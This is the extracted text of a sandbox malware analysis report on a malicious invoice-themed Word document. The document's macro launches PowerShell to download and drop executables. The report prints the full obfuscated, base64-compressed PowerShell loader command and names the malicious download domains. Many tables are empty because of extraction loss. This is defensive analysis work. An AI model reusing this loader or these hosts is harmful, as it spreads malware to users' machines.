ID: Cookbook: browseurl.jbs Time: 20:07:02 Date: 11/07/2018 Version:

Size: px

Start display at page:

Download "ID: Cookbook: browseurl.jbs Time: 20:07:02 Date: 11/07/2018 Version:"

Elmer Clark
5 years ago
Views:

1 ID: Cookbook: browseurl.jbs Time: 20:07:02 Date: 11/07/2018 Version:

2 Table of Contents Analysis Report Overview Information Detection Confidence Classification Analysis Advice Signature Overview AV Detection: Software Vulnerabilities: Networking: Persistence and Installation Behavior: Data Obfuscation: Spreading: System Summary: HIPS / PFW / Operating System Protection Evasion: Anti Debugging: Malware Analysis System Evasion: Hooking and other Techniques for Hiding and Protection: Language, Device and Operating System Detection: Behavior Graph Simulations Behavior and APIs Antivirus Detection Initial Sample Dropped Files Unpacked PE Files Domains URLs Yara Overview Initial Sample PCAP (Network Traffic) Dropped Files Memory Dumps Unpacked PEs Joe Sandbox View / Context IPs Domains ASN Dropped Files Screenshots Startup Created / dropped Files Contacted Domains/Contacted IPs Contacted Domains Contacted URLs Contacted IPs Public Static File Info No static file info Network Behavior Network Port Distribution Table of Contents Copyright Joe Security LLC 2018 Page 2 of

3 TCP Packets UDP Packets DNS Queries DNS Answers HTTP Request Dependency Graph HTTP Packets Code Manipulations Statistics Behavior System Behavior Analysis Process: iexplore.exe PID: 3684 Parent PID: 548 File Activities Registry Activities Analysis Process: iexplore.exe PID: 3740 Parent PID: 3684 File Activities Registry Activities Analysis Process: WINWORD.EXE PID: 2364 Parent PID: 3684 File Activities File Created File Read Registry Activities Key Created Analysis Process: powershell.exe PID: 2200 Parent PID: 2364 File Activities File Created File Written File Read Registry Activities Analysis Process: OSPPSVC.EXE PID: 2380 Parent PID: 424 Analysis Process: 375.exe PID: 2868 Parent PID: 2200 Analysis Process: 375.exe PID: 2852 Parent PID: 2868 Analysis Process: montanacim.exe PID: 2500 Parent PID: 424 Analysis Process: montanacim.exe PID: 2532 Parent PID: 2500 Disassembly Copyright Joe Security LLC 2018 Page 3 of 32

Analysis Report Overview Information Joe Sandbox Version: 23.0.0 Analysis ID: 67658 Start time: 20:07:

4 Analysis Report Overview Information Joe Sandbox Version: Analysis ID: Start time: 20:07:02 Joe Sandbox Product: CloudBasic Start date: Overall analysis duration: Hypervisor based Inspection enabled: Report type: Cookbook file name: Sample URL: 0h 2m 19s light browseurl.jbs Analysis system description: Windows 7 SP1 (with Office 2010 SP2, IE 11, FF 54, Chrome 60, Acrobat Reader DC 17, Flash 26, Java ) Number of analysed new started processes analysed: 12 Number of new started drivers analysed: 0 Number of existing processes analysed: 0 Number of existing drivers analysed: 0 Number of injected processes analysed: 0 Technologies Analysis stop reason: Detection: Classification: Cookbook Comments: Warnings: Timeout MAL EGA enabled mal100.evad.expl.win@15/14@2/3 Adjust boot time Correcting counters for adjusted boot time Show All Exclude process from analysis (whitelisted): WmiPrvSE.exe, conhost.exe, dllhost.exe Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Detection Strategy Score Range Reporting Detection Threshold Report FP / FN Confidence Strategy Score Range Further Analysis Required? Confidence Copyright Joe Security LLC 2018 Page 4 of 32

Threshold 5 0-5 Confidence Classification

clean Exploiter Banker Spyware Trojan / Bot

network communication, use the 'Proxy HTTPS

5 Strategy Score Range Further Analysis Required? Threshold Confidence Classification Ransomware Miner Spreading malicious malicious malicious Evader Phishing suspicious suspicious suspicious clean clean clean Exploiter Banker Spyware Trojan / Bot Adware Analysis Advice Uses HTTPS for network communication, use the 'Proxy HTTPS (port 443) to read its encrypted data' cookbook for further analysis Copyright Joe Security LLC 2018 Page 5 of 32

6 Signature Overview AV Detection Networking Spreading Software Vulnerabilities Persistence and Installation Behavior Data Obfuscation System Summary HIPS / PFW / Operating System Protection Evasion Anti Debugging Malware Analysis System Evasion Hooking and other Techniques for Hiding and Protection Language, Device and Operating System Detection Click to jump to signature section AV Detection: Antivirus detection for dropped file Multi AV Scanner detection for dropped file Software Vulnerabilities: Document exploit detected (process start blacklist hit) Potential browser exploit detected (process start blacklist hit) Networking: HTTP GET or POST without a user agent Downloads files Downloads files from webservers via HTTP Performs DNS lookups Uses HTTPS Persistence and Installation Behavior: Drops executables to the windows directory (C:\Windows) and starts them Drops PE files Drops PE files to the windows directory (C:\Windows) Data Obfuscation: Binary contains a suspicious time stamp Document contains an embedded VBA with many randomly named variables Suspicious powershell command line found Binary may include packed or encrypted code Spreading: Creates COM task schedule object (often to register a task for autostart) Enumerates the file system Copyright Joe Security LLC 2018 Page 6 of 32

7 System Summary: Document contains an embedded VBA macro which executes code when the document is opened / closed Document contains an embedded VBA macro which may execute processes Powershell connects to network Powershell drops PE file Creates mutexes Reads the hosts file PE file has an executable.text section which is very likely to contain packed code (zlib compression ratio < 0.3) Classification label Creates files inside the user directory Creates temporary files Parts of this applications are using the.net runtime (Probably coded in C#) Reads ini files Reads software policies Spawns processes Uses an in-process (OLE) Automation server Found GUI installer (many successful clicks) Found graphical window changes (likely an installer) Uses Microsoft Silverlight Checks if Microsoft Office is installed Uses new MSVCR Dlls Binary contains paths to debug symbols HIPS / PFW / Operating System Protection Evasion: Very long cmdline option found, this is very uncommon (may be encrypted or packed) Anti Debugging: Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation)) Checks if the current process is being debugged Enables debug privileges Creates guard pages, often used to prevent reverse engineering and debugging Malware Analysis System Evasion: Checks the free space of harddrives Contains long sleeps (>= 3 min) Enumerates the file system May sleep (evasive loops) to hinder dynamic analysis Queries disk information (often used to detect virtual machines) Queries a list of all running processes Hooking and other Techniques for Hiding and Protection: System process connects to network (likely due to code injection or exploit) Starts Microsoft Word (often done to prevent that the user detects that something wrong) Stores large binary data to the registry Disables application error messsages (SetErrorMode) Language, Device and Operating System Detection: Queries the installation date of Windows Queries the volume information (name, serial number etc) of a device Copyright Joe Security LLC 2018 Page 7 of 32

8 Queries the cryptographic machine GUID Behavior Graph Behavior Graph Hide Legend ID: URL: Startdate: 11/07/2018 Legend: Architecture: WINDOWS Score: 100 Process Antivirus detection for dropped file Suspicious powershell command line found Document contains an embedded VBA with many randomly named variables 3 other signatures started started started Signature Created File iexplore.exe montanacim.exe OSPPSVC.EXE DNS/IP Info dropped 7 37 Is Dropped Factura-jul-734_77...ial:Zone.Identifier, ASCII Is Windows Process Potential browser exploit detected (process start blacklist hit) started started Drops executables to the windows directory (C:\Windows) and starts them started Number of created Registry Values Number of created Files WINWORD.EXE iexplore.exe montanacim.exe Visual Basic Delphi other IPs or domains dropped started C:\Users\...\Factura-jul-734_ [1].doc, 77139Yc , 443 dropped MegaCableSAdeCVMX Mexico Factura-jul-734_77...doc.kusto82.partial, 77139Yc4581 Java.Net C# or VB.NET C, C++ or other language Suspicious powershell command line found Document exploit detected (process start blacklist hit) Is malicious powershell.exe 12 7 gezginyerler.com , 49172, 80 dropped CIZGITR Turkey C:\Users\user\AppData\Local\Temp\375.exe, PE32 started System process connects to network (likely due to code injection or exploit) Powershell connects to network Powershell drops PE file 375.exe Multi AV Scanner detection for dropped file started 375.exe Simulations Behavior and APIs Time Type Description 20:07:28 API Interceptor 354x Sleep call for process: iexplore.exe modified 20:07:42 API Interceptor 5x Sleep call for process: WINWORD.EXE modified 20:07:46 API Interceptor 3x Sleep call for process: OSPPSVC.EXE modified 20:07:46 API Interceptor 1x Sleep call for process: powershell.exe modified 20:07:51 API Interceptor 2x Sleep call for process: 375.exe modified 20:07:53 API Interceptor 2x Sleep call for process: montanacim.exe modified Antivirus Detection Initial Sample Detection Scanner Label Link 6% virustotal Browse Dropped Files Copyright Joe Security LLC 2018 Page 8 of 32

9 Detection Scanner Label Link C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\E2PG59K Z\Factura-jul-734_ [1].doc C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\E2PG59K Z\Factura-jul-734_ doc.kusto82.partial 100% Avira HEUR/Macro.Downloader. AMAK.Gen 100% Avira HEUR/Macro.Downloader. AMAK.Gen C:\Users\user\AppData\Local\Temp\375.exe 24% virustotal Browse Unpacked PE Files No Antivirus matches Domains Detection Scanner Label Link shopsforclothes.uk 0% virustotal Browse gezginyerler.com 0% virustotal Browse 6% virustotal Browse 4% virustotal Browse URLs Detection Scanner Label Link 6% virustotal Browse 6% virustotal Browse Yara Overview Initial Sample No yara matches PCAP (Network Traffic) No yara matches Dropped Files No yara matches Memory Dumps No yara matches Unpacked PEs No yara matches Joe Sandbox View / Context IPs No context Domains No context ASN Copyright Joe Security LLC 2018 Page 9 of 32

10 No context Dropped Files No context Screenshots Startup Copyright Joe Security LLC 2018 Page 10 of 32

11 System is w7 iexplore.exe (PID: 3684 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: CA1F703CD665867E8132D2946FB55750) iexplore.exe (PID: 3740 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' SCODEF:3684 CREDAT: /prefetch:2 MD5: CA1F703CD665867E8132D2946FB55750) WINWORD.EXE (PID: 2364 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /n 'C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet File s\content.ie5\e2pg59kz\factura-jul-734_ doc MD5: 5D798FF0BE2A8970D ACFD9D) powershell.exe (PID: 2200 cmdline: powershell. ( $verbosepreference.tostring()[1,3]+'x'-join'') (new-object SYStEM.IO.cOMprESsiOn.DEFLATesTreaM( [SySteM.i o.memorystream] [system.convert]::frombase64string( 'VZBha8IwEIb/Sj8UojibDzodloIw2cYUkcmQwWCk561JTZOaRGMV//tqJ2N+O+59eI57ww8zSxT6rk5zBBfM0UU rtb+lqoxiemptqrhz5yhs732u4tetqkij0usgc5qx2qiwjtppf74o6pgf3e93aezhftxe4rh3v4i9ml6bdr5knpu9qkgkvmutgt5nrqgwkz6/sqixitmyaly0mfagd2u0v DKV7VhWT6gyKSyn3BXy6y9/fp0Nt4fpQ6+68VmOQjKDbJ2jR1k/VjXewftAFENKomUphWuRMWnH4Sp/C5KA9Ib3JA7zjU9CVPuRw6LskE/SueQdEuEBSfytayfwVggvPhA quhtzpjltnck682iiff0swz8jiq1zf1ye7xjpmhhdhdga1ja7ok1nm/gmzae/nc8/' ), [Io.comPrEssIoN.cOMpREsSIONmoDe]::DEcomPreSs ) foreach-object{new-object SysTEm.IO.StreamREAder( $_,[Text.enCoding]::aScIi ) } FOReACh-OBjEct{ $_.ReadToeND( ) } ) MD5: 92F44E405DB16AC55D97E3BFE3B132FA) 375.exe (PID: 2868 cmdline: 'C:\Users\SAMTAR~1\AppData\Local\Temp\375.exe' MD5: 5CFD7D5DDCE93878D78F788EE599CD4D) 375.exe (PID: 2852 cmdline: C:\Users\SAMTAR~1\AppData\Local\Temp\375.exe MD5: 5CFD7D5DDCE93878D78F788EE599CD4D) OSPPSVC.EXE (PID: 2380 cmdline: C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE MD5: 358A9CCA612C68EB2F07DDAD4CE1D8D7) montanacim.exe (PID: 2500 cmdline: C:\Windows\system32\montanacim.exe MD5: 5CFD7D5DDCE93878D78F788EE599CD4D) cleanup montanacim.exe (PID: 2532 cmdline: C:\Windows\system32\montanacim.exe MD5: 5CFD7D5DDCE93878D78F788EE599CD4D) Created / dropped Files C:\Users\SAMTAR~1\AppData\Local\Temp\~DF39AECE6F2D8D91FE.TMP Process: C:\Program Files\Internet Explorer\iexplore.exe File Type: FoxPro FPT, blocks size 258, next free block index Size (bytes): Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: 51465E7C75B403C0F8EBA0DFCE495D07 EC3BC8C6C3E C47693CEFD117CDD70 A20AF7F E1F9DC4C6584F3051E5D12E484E2163A65FEFA2F C4 CD861803E56627E7AB6DC5FDCD240C610CBA046BB576149CFACC19C98E8F3DFB80A79426F86EA4ABE5C2AD DF884E188E4A1A2170B251017F4E2860E4EB C:\Users\SAMTAR~1\AppData\Local\Temp\~DFF15FB7F C0.TMP Process: C:\Program Files\Internet Explorer\iexplore.exe File Type: FoxPro FPT, blocks size 258, next free block index Size (bytes): Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: 31C6E06C0ED0F3BC1EB446C3C385F86C 7DFF1019DEB1E24703CC DC4EF8481F 0C12D66E4CBF06172D80B1AA F93DA8123C738C24E EA C26B067F22237D AD0F1BF38B7B4A4C58E723851CA5B700F1B6D1584A4DF633282CA52314AD D965546E7A8C4F F7F10A841195F C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{453915F E8-B3E3-CCDA62336E41}.dat Process: File Type: Size (bytes): C:\Program Files\Internet Explorer\iexplore.exe Microsoft Word Document Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: E2F4353DD26ACEF205F93DF0C 96433B9A50F40B33177EDBFD532FE09AFEAA2A5F E676D896E4036A2B5BA E615D157A97387CB07A CAEAD80BFF7BA74A598725A20D45B47BADE2D056991D62D21A23A29090C59D5281DA8F79DE0A0AED6B3C73E05 F78DB902B356D9FFB650039E83B63114F6E9B8A C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{453915F E8-B3E3-CCDA62336E41}.dat Process: C:\Program Files\Internet Explorer\iexplore.exe File Type: Microsoft Word Document Size (bytes): Copyright Joe Security LLC 2018 Page 11 of 32

12 C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{453915F E8-B3E3-CCDA62336E41}.dat Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: 52EFE6F720C9479DEA26CEA2F175BD DD7CB2257A1F82A64BC2446E6439A8 F725A88BD294BFBF20F4BB804C3A872CF23F067C04C56E493EB369EE6B D628192D388A9C4933A82644ADD81C5ED51E3F8DF3B12233EF05C62942A662F4DF0446DAD8B9DD134B8DC296C 08847E915B7A2AF907D44D74973D95C7584B96 C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\E2PG59KZ\Factura-jul-734_ doc.kusto82.partial Process: File Type: C:\Program Files\Internet Explorer\iexplore.exe 77139Yc4581 Size (bytes): Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: Antivirus: 0631F95C9F57F5095D250E84BB817E A2EB7BCFB2BF489E2CB421173CF85BEF5A D61D7065AF231EFB4CBB473355DD4E838C5F0605AD261392C4061CDCA4D EBAE21F36D2BCE0EF24F631392FB9C3A067934F2D A8F2615E86D7E9A35BDE15E587F89EFC 5B8C1A6A979E26981ECCAFB05C87CE8293B60 true Antivirus: Avira, Detection: 100%, Browse C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\E2PG59KZ\Factura-jul-734_ doc.kusto82.partial:Zone.Identifier Process: File Type: Size (bytes): 26 C:\Program Files\Internet Explorer\iexplore.exe ASCII text, with CRLF line terminators Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: FBCCF14D504B7B2DBCB5A5BDA75BD93B D59FC84CDD5217C6CF F78DA6B582B EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913 AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC C5C2E53F803CD9E 3973DDEFC68966F974E124307B5043E654443B98 true C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\E2PG59KZ\Factura-jul-734_ doc:Zone.Identifier Process: File Type: Size (bytes): 1 Entropy (8bit): 0.0 Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: C:\Program Files\Internet Explorer\iexplore.exe very short file (no magic) ECCBC87E4B5CE2FE28308FD9F2A7BAF3 77DE68DAECD823BABBB58EDB1C8E14D7106E83BB 4E BEDB8B60CE05C1DECFE3AD16B DE01F640B7E4729B49FCE 3BAFBF08882A2D A1B8433F50563B93C14ACD05B79028EB1D A66C276A E26C43B739BC65C4E16B10C3AF6C202AEBB C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\E2PG59KZ\Factura-jul-734_ [1].doc Process: File Type: C:\Program Files\Internet Explorer\iexplore.exe 77139Yc4581 Size (bytes): Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: 0631F95C9F57F5095D250E84BB817E A2EB7BCFB2BF489E2CB421173CF85BEF5A D61D7065AF231EFB4CBB473355DD4E838C5F0605AD261392C4061CDCA4D EBAE21F36D2BCE0EF24F631392FB9C3A067934F2D A8F2615E86D7E9A35BDE15E587F89EFC 5B8C1A6A979E26981ECCAFB05C87CE8293B60 true Copyright Joe Security LLC 2018 Page 12 of 32

13 C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\E2PG59KZ\Factura-jul-734_ [1].doc Antivirus: Antivirus: Avira, Detection: 100%, Browse C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{48A42F0F-085E-4C91-AAFF-15F0360F0BDE}.tmp Process: File Type: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE data Size (bytes): 1536 Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: 86244F16D770E95ECD1FCE98D25CCA90 C88E6E54E4ED808BC9DD655C07E9DC61F7D27A62 D0411AA97C C8C9984D5D00D0217E0879ED11A70A5B63A E0C4A9A82728D483661B EE644533CD7B19D7638A23947CC02A73EEC7E0D8FFE22682FCD415CF05BD6 FB360D4CD33E9FCBE6A048DAD0CBF886179E21 C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{C0B3E1FE-FA90-46FB-A94C-79F14B48BEF0}.tmp Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File Type: FoxPro FPT, blocks size 0, next free block index , 1st used item "\375" Size (bytes): 1024 Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: 5D4D94EE7E06BBB0AF B23A DBB111419C704F116EFA8E72471DD83E86E C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D D997CC5FD1 95F83AE84CAFCCED5EAF C34D5F9710E5CA2D F2FBECCB25F9CF50BBFC272BD75E1A66A 18B7783F09E1C1454AFDA519624BC2BB2F28BA4 C:\Users\user\AppData\Local\Temp\375.exe Process: File Type: Size (bytes): Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: Antivirus: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PE32 executable (GUI) Intel system file, for MS Windows 5CFD7D5DDCE93878D78F788EE599CD4D B437B16D D29C90B7060C95ED128DD 52B9D19F85B3DD673ACA5D7A6BF03AFD EA43EA012F0254D385DA0629 DB2EF069D88AA6BA BCFFDC31283BD96FE3DCD5BADD6A257B1C7E01F319A13C86E DF5423 9DE08ADC9FD7FEF9B00064E1B D0C470 true Antivirus: virustotal, Detection: 24%, Browse C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm Process: File Type: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE data Size (bytes): 162 Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: 3E7BD B9CFB276BECD6CE969F 55D998570D5B808657E7C140888B339F657E15C4 0D1CF856000A144E9D320940FA37FFD38C9B45A19A149513D70A31EAD7F F506312D879F3FAF033BEF23EC3AA67E7ADD90AFD85DE82BD492FCE41D04AF8724CEF38FB7823C0E E 1FA62183BAC9C51409F44D219365B94043CBC5 C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5V7KX1H03VFRMGGC1BGX.temp Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File Type: data Size (bytes): 8016 Entropy (8bit): Encrypted: Copyright Joe Security LLC 2018 Page 13 of 32

14 C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5V7KX1H03VFRMGGC1BGX.temp MD5: SHA1: SHA-256: SHA-512: Malicious: A895AE1D73CCC0EBF29C10F878D486DE D4D F1F6192AF89A1B706D1864C3C7BB FA7DA62C49E9946F6AB1F0750BE3F8803F47781BEA6B3374DBB3EC1721B6031C 0516CE81D9660C417648DC222915BC12314C46B61BDA3A821628DE6C7A87E32050ECE90FC4684D CC5A94C1C9BFFD043A60F569B8B74FAA \samr Process: File Type: Size (bytes): 116 Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: C:\Program Files\Internet Explorer\iexplore.exe Hitachi SH big-endian COFF object, not stripped 080E701E8B8E2E9C68203C150AC7C6B7 4EF B805758AE1D3B122F9D FE129AE2A7C F6F51091E6E512C9FEACA1042A1E9DB914C651FEB344D C11D88B8E355B7B922B B693F75BA4C2A62F9137A15842CA82F9B6B3ED13059EDC0DF1C04E7DE43719 D892B4C0D22BB67BE0D57EAB368BA1BC057E79 Contacted Domains/Contacted IPs Contacted Domains Name IP Active Malicious Antivirus Detection Reputation shopsforclothes.uk true 0%, virustotal, Browse unknown gezginyerler.com true true 0%, virustotal, Browse unknown unknown unknown true 6%, virustotal, Browse unknown unknown unknown true 4%, virustotal, Browse unknown Contacted URLs Name Process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Internet Explorer\iexplore.exe Contacted IPs Copyright Joe Security LLC 2018 Page 14 of 32

15 No. of IPs < 25% 25% < No. of IPs < 50% 50% < No. of IPs < 75% 75% < No. of IPs Public IP Country Flag ASN ASN Name Malicious Turkey CIZGITR true Mexico MegaCableSAdeCVMX United States AS GO-DADDY-COM-LLC- GoDaddycomLLCUS Static File Info No static file info Network Behavior Network Port Distribution Total Packets: (HTTPS) 80 (HTTP) 53 (DNS) Copyright Joe Security LLC 2018 Page 15 of 32

16 TCP Packets Timestamp Port Dest Port IP Dest IP Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Copyright Joe Security LLC 2018 Page 16 of 32

17 Timestamp Port Dest Port IP Dest IP Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Copyright Joe Security LLC 2018 Page 17 of 32

18 Timestamp Port Dest Port IP Dest IP Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Copyright Joe Security LLC 2018 Page 18 of 32

19 Timestamp Port Dest Port IP Dest IP Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Copyright Joe Security LLC 2018 Page 19 of 32

20 Timestamp Port Dest Port IP Dest IP Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: 